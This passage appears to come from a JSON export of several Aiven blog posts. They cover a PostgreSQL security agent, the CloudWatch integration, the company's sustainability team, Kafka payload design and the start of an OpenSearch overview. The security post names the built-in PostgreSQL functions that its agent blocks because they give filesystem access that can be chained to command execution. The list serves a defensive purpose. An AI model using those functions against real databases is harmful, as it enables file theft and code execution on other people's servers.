elevated context.\n\nThe security agent also blocks access to certain built-in functions and their derivatives:\n\n- `pg_read_file`\n- `pg_read_binary_file`\n- `pg_reload_conf`\n- `lo_import`\n- `lo_export`\n\nThese functions all allow read or write to the underlying filesystem, and can be chained together to achieve command execution.\n\nAnd finally, there are some restrictions on what can and can't be written to the internal tables `pg_proc` and `pg_authid`.\n\nThe agent is designed to sit quietly, not interfering with legitimate PostgreSQL functionality, and thus not interfering with customer workloads or data. All efforts have been made to ensure that there is no performance impact. Like most good security guardrails, you shouldn’t know it is there until it is actually needed. \n## Trust is earned… and verified\nIt’s one thing to write some software that claims to solve a significant class of security vulnerability. Trusting the authors of that software to do a good job and install it on the production systems that are responsible for the durable storage of your data is another thing entirely. This is something that we understand viscerally as we experience this burden not only ourselves but shared with our customers. \n\nTo validate that our work was as good as we thought it was, we reached out to friends, ex-colleagues, and anyone we could think of to review our work and provide a second (third, fourth, n-th!) opinion on the architecture and implementation of the solution. Over the last few months as we worked through development, several of these reviewers have actually implemented the Aiven Security Agent for PostgreSQL in their production environments and we know it now helps to protect millions of databases in as many different implementations as we could find. \n\nDespite this earned trust from our professional peers, that’s still not the best we can do. We reached out to one of our application assessment and penetration testing partners [Leviathan Security Group](https://www.leviathansecurity.com/) and asked them to provide us a Statement of Work to evaluate the Aiven Security Agent for PostgreSQL that would allow us to publish the results. \n\nI am personally very pleased to have been able to sign off on that SoW and have the work completed - third-party validation of open source projects is still a rarity. You can read their [full report here](https://github.com/aiven/aiven-pg-security/blob/main/docs/20220805%20Aiven%20Oy%20-%20Aiven%20Source%20Code%20Audit%20Retest%20Final%20Report.pdf \"Aiven Source Code Audit Retest Final Report | PDF\") as well as a [letter](https://github.com/aiven/aiven-pg-security/blob/main/docs/20220805%20Aiven%20Customer%20Letter.pdf \"Aiven Customer Letter | PDF\") suitable to share with your audit, risk, or compliance staff. We are also including these documents as part of the source repository and will renew them as significant code changes are made to the project. \n## In conclusion\nThe approach taken is to maintain original service functionality as far as possible. Aiven does not aim to run a custom fork of PostgreSQL, and customers who migrate from their own self-hosted PostgreSQL instances should know what to expect. By using the PostgreSQL hooks mechanism, it is possible to extend existing PostgreSQL functionality and add additional security in a safe and predictable manner. This also makes the solution portable between PostgreSQL versions. Best of all, it makes it dead simple to open-source the solution and anyone can incorporate it into any existing PostgreSQL instance without a redeploy or fundamental changes to the system.\n\nThe agent cannot be a “100%” solution as it operates within the design limitations of the PostgreSQL extension mechanism. Although this does not prevent all possible privileged actions that could be done, such as bypassing row level security (RLS), it does take the sting out of possible post exploitation actions. This also allows for building solid monitoring and alerting around extension installation and privileged context, enabling the detection of malicious actions.\n\nAll Aiven for PostgreSQL customers have had the protection of the Aiven Security Agent for PostgreSQL for all new instances launched since 2022-07-08, or if they completed the [maintenance updates available since then](https://aiven.io/changelog) (99.91% of all PostgreSQL instances at Aiven). If you haven’t had a chance to implement this maintenance, please do so as soon as practical to take advantage of this added protection.\n\nIn the words of people far wiser than I, something is infinitely more than nothing, and I’m very privileged to lead this fantastic team of security engineers, developers, and architects at Aiven with complete support from above. \n\nI believe we’ve provided something genuinely useful to the community and although my personal contribution to the code is nothing at all, my team has performed awesome work. Special thanks to investors, Board members, Exec team members, Open Source Program Office staff, friends and ex-colleagues who tested our work, unnamed third party organizations (you know who you are!), the Leviathan Security Group team, the development teams for both PGhostile the Aiven Security Agent for PostgreSQL, and especially our customers for giving us another opportunity to earn your Trust. \n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n","categories":[{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"publishedAt":"2022-08-11T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL extensions provide great functionality for users, but they are difficult to provide securely. Aiven has an open source solution to this problem!","metaImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"metaTitle":"Aiven Security Agent for PostgreSQL®"},"slug":{"_type":"slug","current":"/blog/aiven-security-agent-for-postgresql"},"subtitle":"PostgreSQL extensions provide great functionality for users, but they are difficult to provide securely. Aiven has an open source solution to this problem!","title":"Aiven Security Agent for PostgreSQL®"}
{"__i18n_lang":"en","_createdAt":"2022-10-06T05:43:32Z","_id":"9193ac82-e768-43d3-930c-4d99ad8bcf81","_rev":"VeNKqGNmt13PzvGhqsS0pc","_type":"post","_updatedAt":"2024-01-29T15:38:16Z","authors":[{"_key":"5832308829fe","_ref":"4u9AY0PiaCCkrz1PHfwCfy","_type":"reference"}],"body":"In this article, we'll take a look at Aiven Amazon CloudWatch integration, a handy-dandy integration between Aiven services and the [CloudWatch](https://aws.amazon.com/cloudwatch/) service from Amazon Web Services (AWS). \n\nAiven's Amazon CloudWatch integration allows you to send your Aiven services metrics and logs to Amazon CloudWatch. This means you can monitor your Aiven and AWS services performance from a single place. Read on to learn how to use and configure this integration.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/315e2efb1b0095bdf70482ae2da6f136c7fae4ec-2000x1044.png)\n\n\n## Why CloudWatch?\n\nAmazon CloudWatch is used to store and **monitor metrics**, store and **monitor logs**, **configure alarms**, and automatically **trigger changes** in your AWS services. \n\nThose are powerful CloudWatch features that you can use not only with your AWS services but with your Aiven services metrics too. For example, you can configure your CloudWatch to perform auto-scaling on your [ECS](https://aws.amazon.com/ecs/) and [EC2](https://aws.amazon.com/ec2/) services based on a specific Aiven service metric. \n\nIf you're already using CloudWatch for your AWS services, it can be useful to have all the metrics in one place. This makes it easier to  analyze your data, monitor resource utilization, and implement automation. \n\nAnd speaking of data... in the next section, you'll find more about your Aiven services metrics.\n\n## Metrics: which ones suit you?\n\nIf your services could talk, they would speak through metrics and logs. So if you want to improve your system performance and avoid failures, put your service’s metrics to work for you. \n\nAiven provides lots of metrics that you can use to monitor your services, such as:\n\n- The system and specific services\n- The number of running processes\n- Memory used\n- CPU status\n\n([Here's a list of all the metrics supported by Aiven services.](https://help.aiven.io/en/articles/5144867-aiven-service-metrics))\n\nIt's wise to send only metrics that you are interested in monitoring. You can disable or enable Aiven metrics, like so: \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/03d524073e3bd5a1548d778567ffbc840b13a1c8-2000x937.png)\n\nYou can also pick which [additional metrics are sent](https://help.aiven.io/en/articles/5144953-additional-service-metrics). This helps avoid noise in your data and resource waste in your AWS account. \n\n## Configure your CloudWatch metrics integration\n\nNow that we understand CloudWatch and Aiven metrics, let's learn how to configure them.\n\nUsing the [Aiven Console](https://console.aiven.io) and this [step-by-step CloudWatch integration guide](https://aiven.io/docs/integrations/cloudwatch/cloudwatch-metrics.html), you can configure your Aiven service to send its metrics to your Amazon CloudWatch service.\n\n1. Configure the endpoint between the Aiven service and Amazon CloudWatch, including namespace.\n2. Go to the Overview page of your Aiven service on the **Aiven Console** and, in **CloudWatch metrics**, select the endpoint where Aiven should send these service metrics.\n3. Go to your AWS account. Under **CloudWatch**, you can see your metrics data flowing within a few minutes. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/551a72db9e92e703d08c1676bf8a4a288f2ce2de-2000x986.png)\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/5946b524485081c2d4e89586b3bd469d945112c3-2000x813.png)\n\nWhen you configure the endpoint, you have to pick up a namespace. A namespace is a container for CloudWatch metrics. Metrics in different namespaces are separated from each other. With Aiven you can send metrics to multiple namespaces by configuring multiple endpoints where you wish your data to go.\n\nTo configure your integration, you need your AWS access and secret key for the credentials. Aiven does not currently support the IAM Role/Policy for the credentials.\n\n## API\n\nThe Aiven REST API gives you access to Aiven services, including their integration. Using the Aiven API is very useful for automating management of your Amazon CloudWatch integration. \n\nFor example, you can use the [Aiven API](https://api.aiven.io/doc/#operation/ServiceIntegrationCreate) to create a new service integration, delete it, or gather information about it. You can check in specifically for CloudWatch metrics by specifying ``integration_type`` as ``external_aws_cloudwatch_metrics``. \n\nAlso check out the rest of the [Aiven service integrations API documentation](https://api.aiven.io/doc/#tag/Service_Integrations). \n\n## What's next?\n\nSending your Aiven services metrics to your Amazon CloudWatch can be a great way to gather insights about your services using real data, and combine them with other services metrics. \n\nThe Aiven Amazon CloudWatch integration doesn't stop here - you can also [send your **Aiven service logs** to your Amazon CloudWatch](https://aiven.io/docs/integrations/cloudwatch/list-cloudwatch-logs.html \"Aiven developer documentation\") to learn how to configure it.\n\n----\n\nIf you have any other feedback or questions, drop in on Aiven at [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure to follow our [blog](https://aiven.io/blog) RSS feeds and take a look at our [documentation](https://docs.aiven.io/), and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"83580e6c16b9","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"98b4acb4edd5","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-7f602feea817fdc77686587e1b08155b96fdbed8-3133x1688-png","_type":"reference"}},"publishedAt":"2022-10-13T08:50:00.000Z","slug":{"_type":"slug","current":"/blog/watch-your-aiven-metrics-with-cloudwatch"},"subtitle":"Send your Aiven service metrics and logs to AWS CloudWatch with the Aiven Amazon CloudWatch integration. Find out how.","title":"\"I see you\" - Watch your Aiven metrics with CloudWatch"}
{"__i18n_lang":"en","_createdAt":"2022-07-04T12:14:42Z","_id":"1WyAWQ2EwNucHT85SFMK5S","_rev":"ZLvKaZvfbZlWBlGcpNAd9Y","_type":"post","_updatedAt":"2024-01-31T11:19:36Z","authors":[{"_key":"5fYUWMm3ZG5VcjiuAbRcvr","_ref":"5fYUWMm3ZG5VcjiuAbRcvr","_type":"reference"},{"_key":"0d0115395481","_ref":"58912853-4629-4f99-97ce-d0b36b387f57","_type":"reference"}],"body":"## Program goals\n\nFollowing our recent [Sustainability and Social Impact Commitment](https://aiven.io/blog/sustainability-and-social-impact-commitment \"Sustainability and Social Impact Commitment\"), we’ve been working hard to develop a plan that will help us stop climate change and increase equal access to technology. \n\nWe’ve put in place some key policies that we believe can make a difference: \n\n\n- We want to provide clean and efficient data infrastructure for our customers. \n- We will promote diversity and inclusivity as a company both externally and internally.\n- We will lower the barriers to accessing new technologies.\n- We will promote healthy communities around open source projects that contribute to the development of our society and economy. \n\nTo realize these ambitious goals, we’ve created a Sustainability and Social Impact team full of dedicated and passionate Aiveners to take lead roles on specific tracks, or contribute to the program in other vital ways.\n\nWe’re happy to introduce them to you here:\n\n\n- __Heikki Nousiainen__ - Field-CTO and co-founder at Aiven, focusing on the External Climate track\n- __Sanna Putila__ - DEI Lead, focusing on the DEI track\n- __Josep Prat__ - Open Source Engineering Director, focusing on the External Social Impact\n- __Klaus Schaller__ - Workplace Experience Manager, and Internal Climate Track Lead\n- __Ewelina Grajko__ - Sustainability Lead, driving the Sustainability and Social Impact program\n\nRead on to learn about their focus areas and how they will contribute to Aiven’s sustainability goals. \n\n## 1. Why is it important for companies to have Sustainability and Social Impact Programs?\n\n### Heikki - Climate: \nFirst, because it’s the right thing to do - climate change is one of the most pressing issues of our time that’s posing a threat to our environment, economy, and way of life. If companies have the power to help combat climate change, they shouldn’t remain just a passive bystander. Second, it also makes good business sense. By adopting sustainable practices, we will attract new customers while optimizing costs. It will also boost employee morale and help us find the best and brightest talent also in the future. \n\n### Sanna - Diversity and Inclusion: \nPlenty of research shows that diverse and inclusive organizations are more effective, creative, and productive than others. An [extensive McKinsey report from 2020](https://www.mckinsey.com/featured-insights/diversity-and-inclusion/diversity-wins-how-inclusion-matters \"'Diversity wins: How Inclusion matters' on the McKinsey website\") states that companies with wide cultural and gender diversity outperform their peers financially even by half. \n[A study by Accenture and Girlswhocode](https://www.accenture.com/_acnmedia/PDF-134/Accenture-A4-GWC-Report-Final1.pdf#zoom=50 \"'Resetting Tech Culture' by Accenture and Girlswhocode\") in 2021 included a staggering number: half of the women working with tech in the US drop out of the industry by age 35 because of exclusive cultures. Iconic [research from Google](https://hbr.org/2017/08/high-performing-teams-need-psychological-safety-heres-how-to-create-it \"'High-Performing Teams Need Psychological Safety. Here’s How to Create It' by Laura Delizonna\") shows that teams with psychological safety - a byproduct of Inclusion - perform best and are most creative at problem-solving. \nThese are all clear and proven business cases for Diversity and Inclusion done right. \n\n### Josep - Social Impact: \nWhen people join new companies, it’s not enough to have good working conditions and good pay only. We also need employers to work on impacting climate action, diversity and inclusion, and social causes. So if companies want to be competitive in the hiring market, these actions must be part of their DNA. We need them to walk the talk and not only focus on PR campaigns.\n\n### Klaus - Internal Climate Track:\nLooking into reducing our carbon footprint actually is not just about the climate, it’s needed to ensure that we have a planet we can live on. What could be more important than that? We – as a company as well as individuals at Aiven – have a responsibility to contribute to reaching global goals to limit climate change. Companies and organizations can all support this by setting up proper measures and policies so that we reinforce our employees’ behaviors in a sustainable way.\n\n### Ewelina - Sustainability Lead\nClimate change is real, and the social implications that result from climate change are huge. No company should underestimate the impact it can have, not only on the global ecosystem, but also on local communities. It’s vital that we start investing in climate action today – or, quite frankly, yesterday. It’s important that all companies understand that this isn’t only about measuring and decreasing one’s carbon footprint. It is also about investing in any movement that helps us build a more just, diverse and equitable society that can be more creative when finding solutions to problems such as climate change. \n\n## 2. What are some of the key areas of focus of the program for the upcoming months?\n### Heikki - Climate: \nMy primary efforts have mostly gone into understanding and calculating the carbon footprint of the services that we provide. This includes studying [Cloud Carbon Footprint](https://www.cloudcarbonfootprint.org/ \"Cloud Carbon Emissions Measurement and Analysis Tool\") methodology and collected data, as well as creating tools for pulling the actual usage information from our production per service basis. \n\nThe usage information includes number, types and location of cloud virtual machine instances running, as well as numbers such as CPU and network usage. With these inputs, and using Cloud Carbon Footprint data, we can calculate estimates on energy usage and derive estimates on the emissions resulting from running a single service.\n\nOnce we've proven and validated our initial results with industry experts, we aim to make these numbers available to all of our customers for all their services.\n\n### Sanna - Diversity and Inclusion: \nCurrently, we are measuring the state of diversity and Inclusion at Aiven by running an internal survey to know where our development opportunities lie. We are working on channels, processes, and training to ensure that harassment is always taken seriously and acted upon, and everyone can feel safe to report any misconduct. \n\nWe are working with Employee Resource Groups to create environments where people can find support and resources from their peers and raise issues. We are looking at how well our people processes recognize the needs of different people and tackle biases, for example, in performance evaluations. \n\nAt the same time, we recognize that much is still to be done. Aiven’s workforce today is not as diverse as it could be. We are working towards ensuring that all of our processes treat people fairly, and that Aiven as a company is an environment where everyone can thrive as their authentic selves. \n### Josep - Social Impact: \nI’ve created an ambitious high-level roadmap on how Aiven can impact societal change, empowering groups who are typically left out of the conversations. In the upcoming months, I plan to narrow down this high-level plan and develop actionable items for the short and medium-term. For example, I aim to create shortlists of Open Source projects focused on grand challenges and nonprofit organizations focused on code. Engaging with these projects and communities will help Aiven maximize our impact and champion social good. \n\n### Klaus - Internal Climate Track\nIn order to change something, you need to first understand where you are at right now. We’re currently putting a lot of effort into ensuring our carbon footprint is measurable so that we can develop and track the actions needed to reduce it. We’ve already reviewed our internal travel and event guidelines to include sustainability as a key factor when planning. But as a growing and increasingly global organization there is much to be done, and measuring our regional office footprints will be one of the upcoming focuses.\n\n### Ewelina - Sustainability Lead\nThere’s a lot of work happening simultaneously in all of the program tracks, but let me share one highlight for me. We’re currently in the process of getting visibility into our carbon emissions by using the [Plan A Carbon Manager](https://plana.earth/ \"Plan A carbon and ESG reporting for businesses\"). Understanding our footprint will inform our strategy and we have ambitious targets in mind. We’ll keep you posted about building our Sustainability report.\n\n## 3. What is the strategic value your role and track will bring to Aiven?\n\n### Heikki - Climate: \nBeing able to provide transparency on the carbon footprint of the running Aiven services is essential for our customer reporting obligations. That said, our ambition is to help our customers to also reduce those emissions through offering recommendations on rightsizing or providing fair comparison between for example different deployment locations.\nInternally, we will be using these same calculations to optimize our own usage and emission profile.\n\n### Sanna - Diversity and Inclusion: \nSucceeding in creating a diverse and inclusive company will help Aiven leverage the entire talent pool available. It will also make sure that everyone working at Aiven can engage and connect with the company. This way they can thrive based on what they achieve, not who they are. Successful Diversity and Inclusion management is a way for us to perform at our best. \n\n### Josep - Social Impact: \nWe’re strong believers in open source and want to enable more people to use and develop open source projects close to their hearts and minds. We also believe encouraging our employees to contribute to open source projects with a positive social impact (as well as supporting such projects financially) can boost a workplace atmosphere and improve brand perception. \n\n### Klaus - Internal Climate Track\nI believe there needs to be a shift in perspective from companies being shareholder-driven to stakeholder-driven. Rather than focusing only on shareholders (people who own a part of Aiven), we should shift our focus to stakeholders: the people who are impacted by what we do. By doing this, we can more clearly understand how our choices and actions affect our customers, our employees, and future generations, as well as our investors, partners and shareholders. I’d like to see us changing our perspective from delivering unilateral benefits to creating and contributing to a holistic and sustainable ecosystem for all stakeholders.\n\n### Ewelina - Sustainability Lead\nMy role is to act as the glue for the three tracks of our program: Sustainability, DEI and Social Impact. I’ll be supporting the core team with goal setting, alignment on what’s most impactful and working with other leaders across the organization to understand how to build and implement a sustainability strategy at Aiven. My goal is also to help Aiven deliver sustainability leadership so we can support other companies and contribute collectively to a better future.\n\n\n## Wrapping up\nWe’re really excited about our Sustainability and Social Impact program and the positive impact it will make on the planet and its people. We have big plans for the future - we’ll keep you updated on our progress! \n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"5kZZK0B9b8ouIUDgjaDOmZ","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"}],"mainImage":{"alt":"Laying the groundwork for Aiven sustainability","asset":{"_ref":"image-2acdd91915a30077fd653212e97d66e8740bdbd0-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-15T09:50:55.335Z","related":[{"_key":"6fbeac7d48bd","_ref":"258bc7bc-786c-445f-83e5-87502edbfef1","_type":"reference"},{"_key":"2fd1cde8fbab","_ref":"70Tx3E8y7y9dUZN8Xkmn9v","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven’s Sustainability and Social Impact program is off to a great start! Get to know our team and see how things are kicking off.  ","metaImage":{"alt":"","asset":{"_ref":"image-2acdd91915a30077fd653212e97d66e8740bdbd0-1567x844-png","_type":"reference"}},"metaTitle":"Introducing the Aiven sustainability team"},"slug":{"_type":"slug","current":"/blog/introducing-the-aiven-sustainability-team"},"subtitle":"Aiven’s Sustainability and Social Impact program is off to a great start! Get to know our team and see how things are kicking off. ","title":"Introducing the Aiven sustainability team"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4oFbDL0KjSdK47RBp9riXM","_rev":"ZgPiUE9lJ1tcRKuFnZyssv","_type":"post","_updatedAt":"2024-07-11T12:07:04Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"Getting the different components in your systems talking nicely to one another relies on a rather mundane but crucial detail: a good data structure in the message payloads. This article will pick out some of the best advice we have for getting your Apache Kafka data payloads well designed from the very beginning of your project.\n## Use all the features of Apache Kafka records\nThe events that we stream with Kafka can support headers as well as keys and the main body of the payload. The most scalable systems use all these features appropriately.\n\n![Diagram showing the header, key and value as boxes inside the payload](//cdn.sanity.io/images/sczeoy4w/production/05562312bba1dca72062ee8e0491d1f0390e155f-1567x844.png \"Basic event data structure\")\n\nUse the header for metadata about the payload, such as the [OpenTelemetry](https://opentelemetry.io) trace IDs. It can also be useful to duplicate some of the fields from the payload itself, if they are used for routing or filtering the data. In secure systems, intermediate components may not have access to the whole payload, so putting the data in the header can expose just the appropriate fields there. Also consider that, for larger payloads, the overhead of deserializing can be non-trivial. Being able to access just a couple of fields while keeping the system moving can help performance, too.\n\nThe keys in Apache Kafka typically do get more attention than the headers, but we should still make sure we are using them as a force for good. When a producer sends data to Kafka, it specifies which topic it should be sent to. The key usually defines which partition is used. If the key isn't set, then the data will be spread evenly across the partitions using a round-robin approach. For a lot of unrelated events in a stream, this makes good use of your resources.\n\nIf the key you're using doesn't vary much, your events can get bunched into a small number of partitions (rather than spread out). When this happens, try adding more fields to give more granular partition routing. Keep in mind that the contents of each partition will be processed in order, so it still makes sense to keep logical groupings of data.\n\nFor example, consider a collection of imaginary factories where all the machines can send events. Mostly they send `sensor_reading` events, but they can also send `alarm` events, that are like a paper jam in the printer but on a factory scale! Using a key like this will give us a LOT of data on one partition:\n\n```json\n{\n    \"type\": \"sensor_reading\"\n}\n```\n\nSo we could add another field to the key for these readings, maybe to group them by factory location:\n\n```json\n{\n    \"type\": \"sensor_reading\",\n    \"factory_id\": 44891\n}\n```\n\nCombining the type and factory in the key ensures that records of the same event type and the same factory will be processed in the order they were received. When it comes to designing the payloads, thinking about these aspects early on in the implementation process can help avoid performance bottlenecks later.\n## Data structures: nested data, or simple layout\nNo matter how certain I am that this payload will only ever contain a collection of things, I always use an object structure rather than making the data an array at the top level. Sometimes, it just leaves a rather lonely fieldname with a collection to take care of. But when things change and I _do_ need to add an extra field, this \"one weird trick\" makes me very grateful.\n\nMake no mistake, it's not foresight. It's the scars of the first API I ever shipped having to move to v1.1 within a week of launch for precisely this reason. Learn from my mistakes!\n\nIn general, it's also helpful to group related fields together; once you get 30 fields in a payload and they are sorted alphabetically then you will wish you had done something differently! Here's an example showing what I mean:\n\n```json\n  {\n    \"stores_request_id\": 10004352789,\n    \"parent_order\": {\n      \"order_ref\": 777289,\n      \"agent\": \"Mr Thing (1185)\"\n    },\n    \"bom\": [\n      {\"part\": \"hinge_cup_sg7\", \"quantity\": 18},\n      {\"part\": \"worktop_kit_sm\", \"quantity\": 1},\n      {\"part\": \"softcls_norm2\", \"quantity\": 9}\n  ]}\n```\n\nUsing the `parent_order` object to keep the order ref, its responsible person, and any other related data together makes for an easily navigable structure, more so than having those fields scattered across the payload. It also avoids having to artificially group the fields using a prefix. Don't be afraid to introduce extra levels of data nesting to keep your data logically organised.\n\nHow *much* data to include is another tricky subject. With most Kafka platforms limiting payloads to 1MB, it's important to choose carefully. For text-based data, 1MB is quite a lot of information, especially if a binary format such as Avro or Protobuf is used (more on those in a moment). As a general rule of thumb, if you are trying to send a file in a Kafka payload, you are probably doing it wrong!\n\nThese design tradeoffs are nothing new and I rely mostly on the prior art in the API/webhooks space to inform my decisions. For example, [hypermedia](https://en.wikipedia.org/wiki/Hypermedia) is the practice of including links to resources rather than the whole resource. Publishing messages that will cause every subscriber to make follow-on calls is a good way to create load problems for your server but hypermedia can be a useful middle ground, especially where the linked resources are cacheable.\n## Data Formats: JSON, Avro ... these are not real words\nWading through the jargon of data formats is a mission by itself, but I'd like to give some special mentions to my favourites!\n\n**JSON: Keep it simple** JSON formats are very easy to understand, write, read and debug. They can use a JSON Schema to ensure they fulfil an expected data structure, but you can equally well go freeform for prototyping and iterating quickly. For small data payloads, I often start here and never travel any further. However, JSON is fairly large in size for the amount of data it transmits, and it also has a rather relaxed relationship with data types. In applications where either or both of these issues cause a problem, then I move on from JSON and choose something a bit more advanced.\n\n**Avro: Small and schema-driven** [Apache Avro](http://avro.apache.org/) is a serialisation system that keeps the data tidy and small, which is ideal for Kafka records. The data structure is described with a schema (example below) and messages can only be created if they conform with the requirements of the schema. The producer takes the data and the schema, produces a message that goes to the kafka broker, and registers the schema with a schema registry. The consumers do the same in reverse: take the message, ask the schema registry for the schema, and assemble the full data structure. Avro has a strong respect for data types, requires all payloads conform with the schema, and since data such as fieldnames is encoded in the schema rather than repeated in every payload, the overall payload size is reduced.\n\nHere's an example Avro schema:\n\n```json\n{\n    \"namespace\": \"io.aiven.example\",\n    \"type\": \"record\",\n    \"name\": \"MachineSensor\",\n    \"fields\": [\n        {\"name\": \"machine\", \"type\": \"string\", \"doc\": \"The machine whose sensor this is\"},\n        {\"name\": \"sensor\", \"type\": \"string\", \"doc\": \"Which sensor was read\"},\n        {\"name\": \"value\", \"type\": \"float\", \"doc\": \"Sensor reading\"},\n        {\"name\": \"units\", \"type\": \"string\", \"doc\": \"Measurement units\"}\n    ]\n}\n```\n\nThere are other alternatives, notably [Protocol Buffers, known as ProtoBuf](https://developers.google.com/protocol-buffers). It achieves similar goals by generating code to use in your own application, making it available on fewer tech stacks. If it's available for yours, it's worth a look.\n## A note on timestamps\nKafka will add a publish time in the header of a message. However it can also be useful to include your own timestamps for some situations, such as when the data is gathered at a different time to when it is published, or when a retry implementation is needed. Also since using Apache Kafka allows additional consumers to reprocess records later, a timestamp can give a handy insight into progress through an existing data set.\n\nIf I could make rules, I'd make rules about timestamp formats! The only acceptable formats are:\n\n* Seconds since the epoch `1615910306`\n* ISO 8601 format `2021-05-11T10:58:26Z` including timezone information, I should not have to know where on the planet on which day of the year this payload was created.\n## Design with intention\nWith the size limitations on the payloads supported by Apache Kafka, it's important to only include fields that can justify their own inclusion. When the consumers of the data are known, it's easier to plan for their context and likely use cases. When they're not, that's a more difficult assignment but the tips shared here will hopefully set you on a road to success.\n## Further reading\nIf you found this post useful, how about one of these resources to read next?\n\n* [Getting Started with Apache Kafka on Aiven](https://help.aiven.io/en/articles/489572-getting-started-with-aiven-for-apache-kafka)\n* [Apache Kafka and the schema registry](https://help.aiven.io/en/articles/2302613-using-schema-registry-with-aiven-kafka) (with Java code examples)\n* [Broker communication in Apache Kafka® 2.7 and beyond](https://aiven.io/blog/broker-communication-in-kafka-2-7-and-beyond/)\n* The [Apache Avro](http://avro.apache.org/) project\n* Another open standards project, [OpenTelemetry](https://opentelemetry.io/docs/) to find out more about adding tracing to your Kafka applications\n\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-c5739fbd6133a70d4ae0312d6bad46fbafa24f91-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-28T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Developers are adding Apache Kafka® to their tech stacks to get event-driven. Read Lorna Mitchell's tips for designing the payloads.","metaImage":{"alt":"","asset":{"_ref":"image-c5739fbd6133a70d4ae0312d6bad46fbafa24f91-1567x844-png","_type":"reference"}},"metaTitle":"Designing payloads | Actionable tips | Aiven"},"slug":{"_type":"slug","current":"/blog/tips-for-designing-payloads"},"subtitle":"Developers are adding Apache Kafka® to their tech stacks to get event-driven. Read Lorna Mitchell's tips for designing the payloads.","title":"Tips for designing payloads"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6ZvCHgvqQ4LdO9pcFMB13H","_rev":"VeNKqGNmt13PzvGhqsSP3a","_type":"post","_updatedAt":"2024-01-29T15:41:38Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"Last year in September we introduced Aiven for [OpenSearch](https://aiven.io/opensearch \"Aiven for OpenSearch\"). In this post, we’re going to provide a high-level overview of OpenSearch components and use cases that would be fitting for this open source search and analytics engine. Let’s dive right into it!\n\n## What is OpenSearch?\n\nIn short, OpenSearch is an open source alternative to Elasticsearch. It is a search and analytics suite that includes a search engine daemon, OpenSearch, NoSQL database, and a visualization interface. It offers a distributed, full-text search engine based on [Apache Lucene](https://lucene.apache.org/ \"Apache Lucene\") with a RESTful API interface and support for JSON documents.\n\nLet’s look at some of OpenSearch's components and concepts in more detail. \n\n### Clusters and nodes \n\nOpenSearch is a __distributed__ search and analytics engine, which means that you interact with its highly scalable clusters. Each cluster consists of one or more nodes that store your data and process search requests. \n\nAs mentioned above, the clusters are scalable. You can run a single node cluster, like your laptop, or multiple powerful machines. As your cluster grows, you can divide responsibilities across those machines. You can also tailor different servers to different types of tasks. Those machines that have fast disks could index and search data, while a server with a smaller disk, but high CPU, can be responsible for cluster’s state management. \n\nIf you want more details, you can check out the [Cluster formation](https://opensearch.org/docs/latest/opensearch/cluster/ \"Cluster formation article\") article on the Open Search project site. \n\n### Indices\n\nMuch like databases and tables in relational databases, OpenSearch uses indices to organize data. The data is distributed within your cluster by mapping each index to a primary shard, which is copied to one or more replica shards. This protects your data from hardware failure and provides additional capacity for read requests.\n\n[The Indices article on the Aiven Developer Portal](https://aiven.io/docs/products/opensearch/concepts/indices.html \"The Indices article on Aiven's Developer Portal\") provides a 